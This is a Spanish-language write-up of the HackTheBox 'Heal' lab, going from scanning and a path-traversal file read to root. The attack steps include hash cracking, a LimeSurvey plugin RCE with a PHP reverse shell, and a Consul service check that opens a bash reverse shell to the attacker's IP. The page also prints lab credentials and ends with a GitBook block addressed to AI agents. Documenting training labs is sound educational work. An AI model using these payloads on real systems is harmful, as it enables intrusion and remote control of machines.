> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-medium/heal-hackthebox-writeup.md).

# Análisis de Heal HackTheBox

{% embed url="<https://app.hackthebox.com/machines/640>" %}

{% hint style="warning" %}
**Habilidades:**

* LFI (Inclusión de archivos locales)
* RCE (Ejecución remota de código) en LimeSurvey
* Cracking de hashes con Hashcat
* Pivotaje de usuario
* Escalada de privilegios mediante Consul
  {% endhint %}

## Reconocimiento

**Configuración del espacio de trabajo:**

Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

<figure><img src="/files/3c88b44890ea5db4b552bd1eeb52ec021df8c005" alt="" width="563"><figcaption></figcaption></figure>

**Comprobación de conectividad VPN**

Comprueba la conectividad VPN para asegurar una comunicación estable con la máquina objetivo.

<figure><img src="/files/269b38eb419bbf556baaa91c6f0c3fcb1eaa777e" alt="" width="563"><figcaption></figcaption></figure>

**Descubrimiento de puertos abiertos con Nmap:**

Enumera los puertos abiertos y exporta los resultados al archivo "allPorts" en el directorio de Nmap:

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.11.46 -oG allPorts
```

<figure><img src="/files/ab15e2512ea0af39b857e66d3af1199a66b8f7e8" alt=""><figcaption></figcaption></figure>

Escaneo de versiones de puertos con Nmap: (22,80)

Usa Nmap para escanear las versiones de los servicios y guardar la salida en el archivo "targeted":

```bash
nmap -sCV -p22,80 10.10.11.46 -oN targeted
```

<figure><img src="/files/b16b4d403291bccb5453123f8506b1dbe9218a17" alt=""><figcaption></figcaption></figure>

Para resolver nombres de dominio a direcciones IP mediante DNS, se inserta el nombre de dominio asociado con su dirección IP en el `/etc/hosts` archivo:

<figure><img src="/files/e340630763e6664b6b8f1abc67786c8b8815cd05" alt="" width="563"><figcaption></figcaption></figure>

### Puerto 80 - HTTP

<figure><img src="/files/8238249008cf011eb3988951d59277c21994d5cc" alt=""><figcaption></figcaption></figure>

En el sitio principal, encontramos la posibilidad de **crear una cuenta de usuario**.

<figure><img src="/files/dbef2a85f8411d30589902289e0133aef997c631" alt=""><figcaption></figcaption></figure>

Una vez conectado, se descubre una función que permite **exportar un CV en formato PDF**.

<figure><img src="/files/d2a6271944b09797781d5218da672384f89e564e" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/d2a5d511350364fc4416b56eb45e165d484c830c" alt=""><figcaption></figcaption></figure>

## Vulnerabilidad LFI (Inclusión de archivos locales)

#### Explotación de LFI mediante `currículum`

Al interceptar la solicitud de descarga del CV, descubrimos una vulnerabilidad LFI:

```json
GET /download?filename=../../../../../etc/passwd HTTP/1.1
Host: heal.htb
Authorization: Bearer <token>
```

> Es **obligatorio incluir la autenticación mediante token**, de lo contrario la consulta falla.

<figure><img src="/files/7901430877066cfecbf595602d4336fb58ba3d58" alt=""><figcaption></figcaption></figure>

### Extracción de archivos sensibles

#### Acceso a la base de datos SQLite

Al listar archivos sensibles, descubrimos una redirección a `/storage/development.sqlite3`

<figure><img src="/files/aa923219a6ccafbc97e547138f83363a4ba54f61" alt=""><figcaption></figcaption></figure>

La base de datos se descarga y se extraen dos cuentas con sus **hashes bcrypt**:

```
admin@heal.htb
$2a$12$bLOjNMD13FW7vBJfHEZ5tu.inAHM/kxF.yTmbLkC8qg4iV5vHqDDO

ralph@heal.htb
$2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG
```

<figure><img src="/files/84e589a82a1f3aa2ab1ed94b37bb3026f2b82a3f" alt=""><figcaption></figcaption></figure>

### Cracking de hashes

#### Usando Hashcat

Utilice **Hashcat** para intentar crackear los hashes con `rockyou.txt`:

```bash
hashcat -m 3200 hash /usr/share/wordlists/rockyou.txt
```

> Resultado: encontramos la contraseña de **ralph**/ `ralph@heal.htb : 147258369`

<figure><img src="/files/48777bd7e6f63be197b964a9182be62e63720cd4" alt=""><figcaption></figcaption></figure>

### Descubrimiento del subdominio: `take-survey`

<figure><img src="/files/c3b0c1481002a9245538c4f66948f5ca76c17233" alt=""><figcaption></figcaption></figure>

#### Añade la entrada a `/etc/hosts`

Aparece un nuevo subdominio en la aplicación. Lo añadimos a nuestros archivos host

## Vulnerabilidad de LimeSurvey CMS

{% embed url="<https://nasirli.medium.com/limesurvey-6-6-4-rce-0a54c2c09c5e>" %}

<figure><img src="/files/732e46fe8844645b1ae358c4ddfa3a8345701733" alt=""><figcaption></figcaption></figure>

#### Acceso al espacio de administración

Se descubre que la interfaz de administración es accesible en la siguiente URL:

`http://take-survey.heal.htb/index.php/admin`

Nos conectamos con las credenciales de Ralph:

* **Nombre de usuario** : `ralph`
* **Contraseña** : `147258369`

<figure><img src="/files/0754ac762fe77c5cd0513d94cfb89b7e1e3c309c" alt=""><figcaption></figcaption></figure>

Descubrimos que la versión utilizada de LimeSurvey era **6.6.4**, que es vulnerable a una **Ejecución remota de código (NCE)**.

<figure><img src="/files/c884ae09b5926ac68f38592853f2672466e5191b" alt="" width="563"><figcaption></figcaption></figure>

### Explotación de RCE mediante un plugin malicioso

{% embed url="<https://github.com/N4s1rl1/Limesurvey-6.6.4-RCE>" %}

Adaptamos el script operativo a nuestra situación.

<figure><img src="/files/c791454acbcc099c391a291aaf1b69652eb2bbb7" alt=""><figcaption></figcaption></figure>

Primero, creamos un archivo comprimido que contenía un `config.xml` archivo y un script PHP de shell reversa:

```bash
zip -r N4s1rl1.zip config.xml revshell.php
```

<figure><img src="/files/726a27a7a1a438883afb782636daec8fcde4f99e" alt=""><figcaption></figcaption></figure>

Luego instalamos este plugin malicioso a través de la interfaz web de LimeSurvey.

<figure><img src="/files/c225e05ee5031174544a251843bd4e11367e45bf" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/083ef81239a6f428c1e6b314e0df9dd74e4ef3bb" alt="" width="501"><figcaption></figcaption></figure>

Al pasar el ratón sobre el plugin instalado, detectamos el ID del plugin.

<figure><img src="/files/fb1db35410d1a4d6b62c4d3b7d673798b38c4083" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/c99ca0fa846841367b28dcf7d98e498035d825f6" alt="" width="563"><figcaption></figcaption></figure>

Después de editar el script para incluir este ID, actuamos en el puerto 443:

```bash
nc -nlvp 443
```

Finalmente, ejecutamos el exploit mediante Python:

```bash
python3 exploit.py http://take-survey.heal.htb ralph 147258369 80
```

<figure><img src="/files/883a93c6a4785028a88bf6953526bf4c98211f05" alt=""><figcaption></figcaption></figure>

#### Estabilización de la terminal Linux:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

## Pivotaje del usuario ron

Al explorar la máquina, encontramos otro usuario **ron**.

<figure><img src="/files/d41ea760cfc41a8e5b8046cbbe00598689e2bc82" alt="" width="563"><figcaption></figcaption></figure>

Un archivo de configuración en la `aplicación` carpeta contenía inicios de sesión y contraseñas para el acceso a la base de datos:

* usuario = `db_user`
* contraseña = `AdmiDi0_pA$$w0rd`

<figure><img src="/files/f77e0b92e37f0c4052c806ceaec5153fed25f64c" alt=""><figcaption></figcaption></figure>

Con estas credenciales, pudimos acceder a la cuenta de **ron**, lo que nos permitió obtener la **flag user.txt**.

<figure><img src="/files/3f4078e098a3aa19c9d781933b72aac315651050" alt=""><figcaption></figcaption></figure>

### Bandera user.txt :)

<figure><img src="/files/d55cfe39b77725c2a5cf2006977e114526681dec" alt="" width="563"><figcaption></figcaption></figure>

## **Escalada de privilegios**

### Descubrimiento del puerto 8500 (Consul)

Al revisar los puertos abiertos, encontramos el puerto **8500**, que corresponde a la interfaz web de Consul.

<figure><img src="/files/e5de4cbd3afb94dbc111c0b4a5a6bb0579e67c7e" alt=""><figcaption></figcaption></figure>

Después de hacer una consulta en `127.0.0.1:8500/ui/`, encontramos la versión de Consul **1.19.2**.

```bash
curl 127.0.0.1:8500/ui/
```

<figure><img src="/files/3a5ed4c19b6faf1ca47b5bb4989d0c7e70388072" alt=""><figcaption></figcaption></figure>

#### Comprobación de acceso a la API REST

Probamos la API REST de Consul para comprobar si era accesible sin autenticación:

```bash
curl http://127.0.0.1:8500/v1/agent/self
```

Obtuvimos una respuesta que confirmaba que la API estaba abierta.

### Explotación mediante una comprobación maliciosa

Registramos un servicio con una comprobación maliciosa usando un comando bash para abrir una shell reversa hacia nuestra máquina:

```bash
nc -lvnp 4444
```

#### Registrar un servicio con una comprobación maliciosa

Consul permite el registro dinámico de servicios mediante una solicitud HTTP. Usamos esto para crear una "check" que ejecuta un comando bash.

```bash
curl -X PUT http://127.0.0.1:8500/v1/agent/service/register -d '{
  "Name": "pwned",
  "ID": "pwned",
  "Check": {
    "Args": ["/bin/bash", "-c", "bash -i >& /dev/tcp/10.10.14.192/4444 0>&1"],
    "Interval": "10s"
  }
}'
```

Lo que hace este payload:

* `Check.Args[]`: contiene un comando de bash que abre una **shell inversa**.
* `Intervalo`: Establece la ejecución automática cada 10 segundos.

Al ejecutar este payload, logramos obtener una shell de root.

<figure><img src="/files/8fd2a7b470638be8b868121516c1eaf895e7ea80" alt=""><figcaption></figcaption></figure>

### Bandera root.txt :)

<figure><img src="/files/169d2e0ebb17f4e62a142be8fb269bcb1b2c8411" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/92e0125fd55747b13a1951f2c5a37fb78f1cf94a" alt="" width="344"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-medium/heal-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
